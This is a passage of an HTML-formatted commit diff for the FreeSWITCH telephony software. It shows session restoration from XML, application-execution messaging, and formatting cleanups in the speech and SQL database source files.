+                        if (tag->name && tag->txt) {
+                                char *p = strdup(tag->txt);
+                                char *val = p;
+                                switch_url_decode(val);
+                                switch_channel_set_variable(channel, tag->name, val);
+                                free(p);
+                        }
+                }
+        }
+
+        if ((callflow = switch_xml_child(xml, "callflow"))) {
+                if ((tag2 = switch_xml_child(callflow, "caller_profile"))) {
+                        switch_caller_profile_t *caller_profile;
+                        char *name;
+                        char *tmp;
+
+                        caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
+                                                                                                         xml_find_var(tag2, "username"),
+                                                                                                         xml_find_var(tag2, "dialplan"),
+                                                                                                         xml_find_var(tag2, "caller_id_name"),
+                                                                                                         xml_find_var(tag2, "caller_id_number"),
+                                                                                                         xml_find_var(tag2, "network_addr"),
+                                                                                                         xml_find_var(tag2, "ani"),
+                                                                                                         xml_find_var(tag2, "aniii"),
+                                                                                                         xml_find_var(tag2, "rdnis"),
+                                                                                                         xml_find_var(tag2, "source"),
+                                                                                                         xml_find_var(tag2, "context"), xml_find_var(tag2, "destination_number"));
+
+                        if ((tmp = xml_find_var(tag2, "callee_id_name"))) {
+                                caller_profile->callee_id_name = switch_core_session_strdup(session, tmp);
+                        }
+
+                        if ((tmp = xml_find_var(tag2, "callee_id_number"))) {
+                                caller_profile->callee_id_number = switch_core_session_strdup(session, tmp);
+                        }
+
+                        if ((name = xml_find_var(tag2, "channel_name"))) {
+                                switch_channel_set_name(channel, name);
+                        }
+
+                        if ((tag3 = switch_xml_child(callflow, "times"))) {
+                                caller_profile->times = (switch_channel_timetable_t *) switch_core_session_alloc(session, sizeof(*caller_profile->times));
+
+                                caller_profile->times->resurrected = switch_time_now();
+
+                                for (tag3 = tag3->child; tag3; tag3 = tag3->sibling) {
+                                        int64_t v;
+
+                                        if (tag3->name && tag3->txt) {
+                                                v = atoll(tag3->txt);
+                                                if (!strcmp(tag3->name, "created_time")) {
+                                                        caller_profile->times->created = v;
+                                                } else if (!strcmp(tag3->name, "profile_created_time")) {
+                                                        caller_profile->times->profile_created = v;
+                                                } else if (!strcmp(tag3->name, "progress_time")) {
+                                                        caller_profile->times->progress = v;
+                                                } else if (!strcmp(tag3->name, "progress_media_time")) {
+                                                        caller_profile->times->progress_media = v;
+                                                } else if (!strcmp(tag3->name, "answered_time")) {
+                                                        caller_profile->times->answered = v;
+                                                } else if (!strcmp(tag3->name, "hangup_time")) {
+                                                        caller_profile->times->hungup = v;
+                                                } else if (!strcmp(tag3->name, "transfer_time")) {
+                                                        caller_profile->times->transferred = v;
+                                                }
+                                        }
+
+                                }
+                        }
+
+                        switch_channel_set_caller_profile(channel, caller_profile);
+                        if ((tag = switch_xml_child(tag2, "originator")) && (tag = tag->child)) {
+                                caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
+                                                                                                                 xml_find_var(tag, "username"),
+                                                                                                                 xml_find_var(tag, "dialplan"),
+                                                                                                                 xml_find_var(tag, "caller_id_name"),
+                                                                                                                 xml_find_var(tag, "caller_id_number"),
+                                                                                                                 xml_find_var(tag, "network_addr"),
+                                                                                                                 xml_find_var(tag, "ani"),
+                                                                                                                 xml_find_var(tag, "aniii"),
+                                                                                                                 xml_find_var(tag, "rdnis"),
+                                                                                                                 xml_find_var(tag, "source"),
+                                                                                                                 xml_find_var(tag, "context"), xml_find_var(tag, "destination_number"));
+
+                                switch_channel_set_originator_caller_profile(channel, caller_profile);
+                        }
+
+                        if ((tag = switch_xml_child(tag2, "originatee")) && (tag = tag->child)) {
+                                caller_profile = switch_caller_profile_new(switch_core_session_get_pool(session),
+                                                                                                                 xml_find_var(tag, "username"),
+                                                                                                                 xml_find_var(tag, "dialplan"),
+                                                                                                                 xml_find_var(tag, "caller_id_name"),
+                                                                                                                 xml_find_var(tag, "caller_id_number"),
+                                                                                                                 xml_find_var(tag, "network_addr"),
+                                                                                                                 xml_find_var(tag, "ani"),
+                                                                                                                 xml_find_var(tag, "aniii"),
+                                                                                                                 xml_find_var(tag, "rdnis"),
+                                                                                                                 xml_find_var(tag, "source"),
+                                                                                                                 xml_find_var(tag, "context"), xml_find_var(tag, "destination_number"));
+
+                                switch_channel_set_originatee_caller_profile(channel, caller_profile);
+                        }
+
+                }
+
+        }
+
+
+        return session;
+}
+
+
+
</ins><span class="cx"> SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_uuid(switch_endpoint_interface_t
</span><del>-                                                                                                                                                 *endpoint_interface,
</del><ins>+                                                                                                                                                 *endpoint_interface,
</ins><span class="cx">                                                                                                                                                  switch_call_direction_t direction,
</span><del>-                                                                                                                                                 switch_memory_pool_t **pool,
-                                                                                                                                                 const char *use_uuid)
</del><ins>+                                                                                                                                                 switch_memory_pool_t **pool, const char *use_uuid)
</ins><span class="cx"> {
</span><span class="cx">         switch_memory_pool_t *usepool;
</span><span class="cx">         switch_core_session_t *session;
</span><span class="lines">@@ -1271,7 +1477,7 @@
</span><span class="cx">
</span><span class="cx">         if (use_uuid && switch_core_hash_find(session_manager.session_table, use_uuid)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Duplicate UUID!\n");
</span><del>- return NULL;
</del><ins>+                return NULL;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (!switch_core_ready() || endpoint_interface == NULL) {
</span><span class="lines">@@ -1309,7 +1515,7 @@
</span><span class="cx">         session->pool = usepool;
</span><span class="cx">
</span><span class="cx">         switch_core_memory_pool_set_data(session->pool, "__session", session);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_channel_alloc(&session->channel, direction, session->pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 abort();
</span><span class="cx">         }
</span><span class="lines">@@ -1319,7 +1525,7 @@
</span><span class="cx">         if (direction == SWITCH_CALL_DIRECTION_OUTBOUND) {
</span><span class="cx">                 switch_channel_set_flag(session->channel, CF_OUTBOUND);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* The session *IS* the pool you may not alter it because you have no idea how
</span><span class="cx">          its all private it will be passed to the thread run function */
</span><span class="cx">
</span><span class="lines">@@ -1330,6 +1536,8 @@
</span><span class="cx">                 switch_uuid_format(session->uuid_str, &uuid);
</span><span class="cx">         }
</span><span class="cx">
</span><ins>+        switch_channel_set_variable(session->channel, "uuid", session->uuid_str);
+
</ins><span class="cx">         session->endpoint_interface = endpoint_interface;
</span><span class="cx">         session->raw_write_frame.data = session->raw_write_buf;
</span><span class="cx">         session->raw_write_frame.buflen = sizeof(session->raw_write_buf);
</span><span class="lines">@@ -1359,7 +1567,7 @@
</span><span class="cx">         session->id = session_manager.session_id++;
</span><span class="cx">         session_manager.session_count++;
</span><span class="cx">         switch_mutex_unlock(runtime.session_hash_mutex);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return session;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1379,9 +1587,8 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_by_name(const char *endpoint_name,
-                                                                                                                                                        switch_call_direction_t direction,
-                                                                                                                                                        switch_memory_pool_t **pool)
</del><ins>+SWITCH_DECLARE(switch_core_session_t *) switch_core_session_request_by_name(const char *endpoint_name,
+                                                                                                                                                        switch_call_direction_t direction, switch_memory_pool_t **pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_endpoint_interface_t *endpoint_interface;
</span><span class="cx">         switch_core_session_t *session;
</span><span class="lines">@@ -1480,18 +1687,18 @@
</span><span class="cx">
</span><span class="cx">         UNPROTECT_INTERFACE(application_interface);
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         return status;
</span><span class="cx">
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_execute_application_get_flags(switch_core_session_t *session, const char *app,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_execute_application_get_flags(switch_core_session_t *session, const char *app,
</ins><span class="cx">                                                                                                                                                                  const char *arg, int32_t *flags)
</span><span class="cx"> {
</span><span class="cx">         switch_application_interface_t *application_interface;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_channel_down(session->channel)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Channel is hungup, aborting execution of application: %s\n", app);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -1528,10 +1735,10 @@
</span><span class="cx">
</span><span class="cx">         switch_core_session_exec(session, application_interface, arg);
</span><span class="cx">
</span><del>-done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         UNPROTECT_INTERFACE(application_interface);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1544,16 +1751,17 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         char *expanded = NULL;
</span><span class="cx">         const char *app;
</span><ins>+        switch_core_session_message_t msg = { 0 };
</ins><span class="cx">
</span><span class="cx">         switch_assert(application_interface);
</span><span class="cx">
</span><span class="cx">         app = application_interface->interface_name;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (arg) {
</span><span class="cx">                 expanded = switch_channel_expand_variables(session->channel, arg);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG, "EXECUTE %s %s(%s)\n",
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG, "EXECUTE %s %s(%s)\n",
</ins><span class="cx">                                          switch_channel_get_name(session->channel), app, switch_str_nil(expanded));
</span><span class="cx">
</span><span class="cx">         if ((var = switch_channel_get_variable(session->channel, "verbose_presence")) && switch_true(var)) {
</span><span class="lines">@@ -1587,11 +1795,11 @@
</span><span class="cx">                         session->app_log = log;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_channel_set_variable(channel, SWITCH_CURRENT_APPLICATION_VARIABLE, application_interface->interface_name);
</span><span class="cx">         switch_channel_set_variable_var_check(channel, SWITCH_CURRENT_APPLICATION_DATA_VARIABLE, expanded, SWITCH_FALSE);
</span><span class="cx">         switch_channel_set_variable(channel, SWITCH_CURRENT_APPLICATION_RESPONSE_VARIABLE, NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_EXECUTE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_channel_event_set_data(session->channel, event);
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Application", application_interface->interface_name);
</span><span class="lines">@@ -1605,8 +1813,14 @@
</span><span class="cx">
</span><span class="cx">         switch_channel_set_variable(session->channel, SWITCH_CURRENT_APPLICATION_VARIABLE, application_interface->interface_name);
</span><span class="cx">
</span><ins>+        msg.from = __FILE__;
+        msg.message_id = SWITCH_MESSAGE_INDICATE_APPLICATION_EXEC;
+        msg.string_array_arg[0] = application_interface->interface_name;
+        msg.string_array_arg[1] = expanded;
+        switch_core_session_receive_message(session, &msg);
+
</ins><span class="cx">         application_interface->application_function(session, expanded);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_EXECUTE_COMPLETE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 const char *resp = switch_channel_get_variable(session->channel, SWITCH_CURRENT_APPLICATION_RESPONSE_VARIABLE);
</span><span class="cx">                 switch_channel_event_set_data(session->channel, event);
</span><span class="lines">@@ -1616,10 +1830,13 @@
</span><span class="cx">                 switch_event_fire(&event);
</span><span class="cx">         }
</span><span class="cx">
</span><ins>+        msg.message_id = SWITCH_MESSAGE_INDICATE_APPLICATION_EXEC_COMPLETE;
+        switch_core_session_receive_message(session, &msg);
+
</ins><span class="cx">         if (expanded != arg) {
</span><span class="cx">                 switch_safe_free(expanded);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1640,7 +1857,8 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (session->stack_count > SWITCH_MAX_STACKS) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error %s too many stacked extensions\n", switch_channel_get_name(session->channel));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Error %s too many stacked extensions\n",
+                                                 switch_channel_get_name(session->channel));
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -1657,7 +1875,7 @@
</span><span class="cx">                 new_profile->context = switch_core_strdup(new_profile->pool, context);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        dpstr = switch_core_session_strdup(session, new_profile->dialplan);        
</del><ins>+        dpstr = switch_core_session_strdup(session, new_profile->dialplan);
</ins><span class="cx">
</span><span class="cx">         switch_channel_set_hunt_caller_profile(channel, new_profile);
</span><span class="cx">         argc = switch_separate_string(dpstr, ',', dp, (sizeof(dp) / sizeof(dp[0])));
</span><span class="lines">@@ -1680,7 +1898,7 @@
</span><span class="cx">                 count++;
</span><span class="cx">
</span><span class="cx">                 extension = dialplan_interface->hunt_function(session, dparg, new_profile);
</span><del>-                UNPROTECT_INTERFACE(dialplan_interface);        
</del><ins>+                UNPROTECT_INTERFACE(dialplan_interface);
</ins><span class="cx">
</span><span class="cx">                 if (extension) {
</span><span class="cx">                         break;
</span><span class="lines">@@ -1726,15 +1944,15 @@
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_core_session_set_loglevel(switch_core_session_t *session, switch_log_level_t loglevel)
</span><span class="cx"> {
</span><del>- switch_assert(session != NULL);
- session->loglevel = loglevel;
- return SWITCH_STATUS_SUCCESS;
</del><ins>+        switch_assert(session != NULL);
+        session->loglevel = loglevel;
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(switch_log_level_t) switch_core_session_get_loglevel(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>- switch_assert(session != NULL);
- return session->loglevel;
</del><ins>+        switch_assert(session != NULL);
+        return session->loglevel;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /* For Emacs:
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_speechc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_speech.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_speech.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_speech.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -121,7 +121,7 @@
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* extract params */
</span><span class="cx">         if (*data == '{') {
</span><span class="cx">                 param_string = data + 1;
</span><span class="lines">@@ -150,10 +150,10 @@
</span><span class="cx">
</span><span class="cx">         status = sh->speech_interface->speech_feed_tts(sh, data, flags);
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(ltext);
</span><del>-        return status;        
</del><ins>+        return status;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_speech_flush_tts(switch_speech_handle_t *sh)
</span><span class="lines">@@ -192,17 +192,16 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_speech_read_tts(switch_speech_handle_t *sh,
-                                                                                                                        void *data, switch_size_t *datalen, switch_speech_flag_t *flags)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_speech_read_tts(switch_speech_handle_t *sh, void *data, switch_size_t *datalen, switch_speech_flag_t *flags)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         switch_size_t want, orig_len = *datalen;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(sh != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         want = *datalen;
</span><span class="cx">
</span><del>- top:
</del><ins>+ top:
</ins><span class="cx">
</span><span class="cx">         if (sh->buffer && (switch_buffer_inuse(sh->buffer) >= orig_len || switch_test_flag(sh, SWITCH_SPEECH_FLAG_DONE))) {
</span><span class="cx">                 if ((*datalen = switch_buffer_read(sh->buffer, data, orig_len))) {
</span><span class="lines">@@ -216,14 +215,14 @@
</span><span class="cx">                 return SWITCH_STATUS_BREAK;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- more:
</del><ins>+ more:
</ins><span class="cx">
</span><span class="cx">         if ((status = sh->speech_interface->speech_read_tts(sh, data, datalen, flags)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_set_flag(sh, SWITCH_SPEECH_FLAG_DONE);
</span><span class="cx">                 goto top;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sh->native_rate && sh->samplerate && sh->native_rate != sh->samplerate) {
</span><span class="cx">                 if (!sh->resampler) {
</span><span class="cx">                         if (switch_resample_create(&sh->resampler,
</span><span class="lines">@@ -239,16 +238,16 @@
</span><span class="cx">                                 int factor = sh->resampler->to_len * sh->samplerate / 1000;
</span><span class="cx">                                 switch_buffer_create_dynamic(&sh->buffer, factor, factor, 0);
</span><span class="cx">                                 switch_assert(sh->buffer);
</span><del>-                        }                        
</del><ins>+                        }
</ins><span class="cx">                         if (!sh->dbuf || sh->dbuflen < sh->resampler->to_len * 2) {
</span><span class="cx">                                 sh->dbuflen = sh->resampler->to_len * 2;
</span><span class="cx">                                 sh->dbuf = switch_core_alloc(sh->memory_pool, sh->dbuflen);
</span><span class="cx">                         }
</span><span class="cx">                         switch_assert(sh->resampler->to_len <= sh->dbuflen);
</span><del>-                
</del><ins>+
</ins><span class="cx">                         memcpy((int16_t *) sh->dbuf, sh->resampler->to, sh->resampler->to_len * 2);
</span><span class="cx">                         switch_buffer_write(sh->buffer, sh->dbuf, sh->resampler->to_len * 2);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_buffer_inuse(sh->buffer) < want) {
</span><span class="cx">                                 *datalen = want;
</span><span class="cx">                                 goto more;
</span><span class="lines">@@ -270,7 +269,7 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_core_speech_close(switch_speech_handle_t *sh, switch_speech_flag_t *flags)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = sh->speech_interface->speech_close(sh, flags);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!switch_test_flag(sh, SWITCH_SPEECH_FLAG_OPEN)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -288,7 +287,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_clear_flag(sh, SWITCH_SPEECH_FLAG_OPEN);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_sqldbc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_sqldb.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_sqldb.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_sqldb.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -53,11 +53,11 @@
</span><span class="cx"> /*!
</span><span class="cx"> \brief Open the default system database
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) _switch_core_db_handle(switch_cache_db_handle_t **dbh, const char *file, const char *func, int line)
</del><ins>+SWITCH_DECLARE(switch_status_t) _switch_core_db_handle(switch_cache_db_handle_t ** dbh, const char *file, const char *func, int line)
</ins><span class="cx"> {
</span><span class="cx">         switch_cache_db_connection_options_t options = { {0} };
</span><span class="cx">         switch_status_t r;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(runtime.odbc_dsn)) {
</span><span class="cx">                 options.odbc_options.dsn = runtime.odbc_dsn;
</span><span class="cx">                 options.odbc_options.user = runtime.odbc_user;
</span><span class="lines">@@ -87,11 +87,11 @@
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><span class="cx">         int locked = 0;
</span><span class="cx">         char *key;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(sql_manager.dbh_mutex);
</span><del>- top:
</del><ins>+ top:
</ins><span class="cx">         locked = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (hi = switch_hash_first(NULL, sql_manager.dbh_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="cx">                 switch_hash_this(hi, &var, NULL, &val);
</span><span class="cx">                 key = (char *) var;
</span><span class="lines">@@ -102,7 +102,7 @@
</span><span class="cx">                         if (prune > 0 && prune > dbh->last_used) {
</span><span class="cx">                                 diff = (time_t) prune - dbh->last_used;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (prune > 0 && diff < SQL_CACHE_TIMEOUT) {
</span><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="lines">@@ -119,7 +119,7 @@
</span><span class="cx">                                 case SCDB_TYPE_CORE_DB:
</span><span class="cx">                                         {
</span><span class="cx">                                                 switch_core_db_close(dbh->native_handle.core_db_dbh);
</span><del>-                                                dbh->native_handle.core_db_dbh = NULL;        
</del><ins>+                                                dbh->native_handle.core_db_dbh = NULL;
</ins><span class="cx">                                         }
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="lines">@@ -128,9 +128,10 @@
</span><span class="cx">                                 switch_mutex_unlock(dbh->mutex);
</span><span class="cx">                                 switch_core_destroy_memory_pool(&dbh->pool);
</span><span class="cx">                                 goto top;
</span><del>-        
</del><ins>+
</ins><span class="cx">                         } else {
</span><del>-                                if (!prune) locked++;
</del><ins>+                                if (!prune)
+                                        locked++;
</ins><span class="cx">                                 continue;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -144,13 +145,14 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_DECLARE(void) switch_cache_db_flush_handles(void){
</del><ins>+SWITCH_DECLARE(void) switch_cache_db_flush_handles(void)
+{
</ins><span class="cx">         sql_close(switch_epoch_time_now(NULL) + SQL_CACHE_TIMEOUT + 1);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_DECLARE(void) switch_cache_db_release_db_handle(switch_cache_db_handle_t **dbh)
</del><ins>+SWITCH_DECLARE(void) switch_cache_db_release_db_handle(switch_cache_db_handle_t ** dbh)
</ins><span class="cx"> {
</span><span class="cx">         if (dbh && *dbh) {
</span><span class="cx">                 switch_mutex_unlock((*dbh)->mutex);
</span><span class="lines">@@ -159,7 +161,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-SWITCH_DECLARE(void) switch_cache_db_destroy_db_handle(switch_cache_db_handle_t **dbh)
</del><ins>+SWITCH_DECLARE(void) switch_cache_db_destroy_db_handle(switch_cache_db_handle_t ** dbh)
</ins><span class="cx"> {
</span><span class="cx">         if (dbh && *dbh) {
</span><span class="cx">                 switch_mutex_lock(sql_manager.dbh_mutex);
</span><span class="lines">@@ -174,13 +176,13 @@
</span><span class="cx">                 case SCDB_TYPE_CORE_DB:
</span><span class="cx">                         {
</span><span class="cx">                                 switch_core_db_close((*dbh)->native_handle.core_db_dbh);
</span><del>-                                (*dbh)->native_handle.core_db_dbh = NULL;                
</del><ins>+                                (*dbh)->native_handle.core_db_dbh = NULL;
</ins><span class="cx">                         }
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                
-                switch_core_hash_delete(sql_manager.dbh_hash, (*dbh)->name);                
</del><ins>+
+                switch_core_hash_delete(sql_manager.dbh_hash, (*dbh)->name);
</ins><span class="cx">                 switch_mutex_unlock((*dbh)->mutex);
</span><span class="cx">                 switch_core_destroy_memory_pool(&(*dbh)->pool);
</span><span class="cx">                 *dbh = NULL;
</span><span class="lines">@@ -197,7 +199,7 @@
</span><span class="cx">         char *key;
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><span class="cx">
</span><del>-        snprintf(thread_str, sizeof(thread_str) - 1, "%lu", (unsigned long)(intptr_t)switch_thread_self());
</del><ins>+        snprintf(thread_str, sizeof(thread_str) - 1, "%lu", (unsigned long) (intptr_t) switch_thread_self());
</ins><span class="cx">         switch_mutex_lock(sql_manager.dbh_mutex);
</span><span class="cx">
</span><span class="cx">         for (hi = switch_hash_first(NULL, sql_manager.dbh_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="lines">@@ -206,10 +208,10 @@
</span><span class="cx">                 if ((dbh = (switch_cache_db_handle_t *) val)) {
</span><span class="cx">                         if (switch_mutex_trylock(dbh->mutex) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 if (strstr(dbh->name, thread_str)) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG10,
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG10,
</ins><span class="cx">                                                                          "Detach cached DB handle %s [%s]\n", thread_str, switch_cache_db_type_name(dbh->type));
</span><span class="cx">                                         switch_clear_flag(dbh, CDF_INUSE);
</span><del>-                                }
</del><ins>+                                }
</ins><span class="cx">                                 switch_mutex_unlock(dbh->mutex);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -218,10 +220,10 @@
</span><span class="cx">         switch_mutex_unlock(sql_manager.dbh_mutex);
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t)_switch_cache_db_get_db_handle(switch_cache_db_handle_t **dbh,
-                                                                                                                         switch_cache_db_handle_type_t type,
-                                                                                                                         switch_cache_db_connection_options_t *connection_options,
-                                                                                                                         const char *file, const char *func, int line)
</del><ins>+SWITCH_DECLARE(switch_status_t) _switch_cache_db_get_db_handle(switch_cache_db_handle_t ** dbh,
+                                                                                                                         switch_cache_db_handle_type_t type,
+                                                                                                                         switch_cache_db_connection_options_t *connection_options,
+                                                                                                                         const char *file, const char *func, int line)
</ins><span class="cx"> {
</span><span class="cx">         switch_thread_id_t self = switch_thread_self();
</span><span class="cx">         char thread_str[CACHE_DB_LEN] = "";
</span><span class="lines">@@ -256,13 +258,13 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         snprintf(db_str, sizeof(db_str) - 1, "db=\"%s\";user=\"%s\";pass=\"%s\"", db_name, db_user, db_pass);
</span><del>-        snprintf(thread_str, sizeof(thread_str) - 1, "%s;thread=\"%lu\"", db_str, (unsigned long)(intptr_t)self);
</del><ins>+        snprintf(thread_str, sizeof(thread_str) - 1, "%s;thread=\"%lu\"", db_str, (unsigned long) (intptr_t) self);
</ins><span class="cx">         snprintf(db_callsite_str, sizeof(db_callsite_str) - 1, "%s:%d", file, line);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(sql_manager.dbh_mutex);
</span><span class="cx">         if ((new_dbh = switch_core_hash_find(sql_manager.dbh_hash, thread_str))) {
</span><span class="cx">                 switch_set_string(new_dbh->last_user, db_callsite_str);
</span><del>-                switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10,
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_DEBUG10,
</ins><span class="cx">                                                  "Reuse Cached DB handle %s [%s]\n", thread_str, switch_cache_db_type_name(new_dbh->type));
</span><span class="cx">         } else {
</span><span class="cx">                 switch_hash_index_t *hi;
</span><span class="lines">@@ -270,21 +272,21 @@
</span><span class="cx">                 void *val;
</span><span class="cx">                 char *key;
</span><span class="cx">                 unsigned long hash = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 hash = switch_ci_hashfunc_default(db_str, &hlen);
</span><span class="cx">
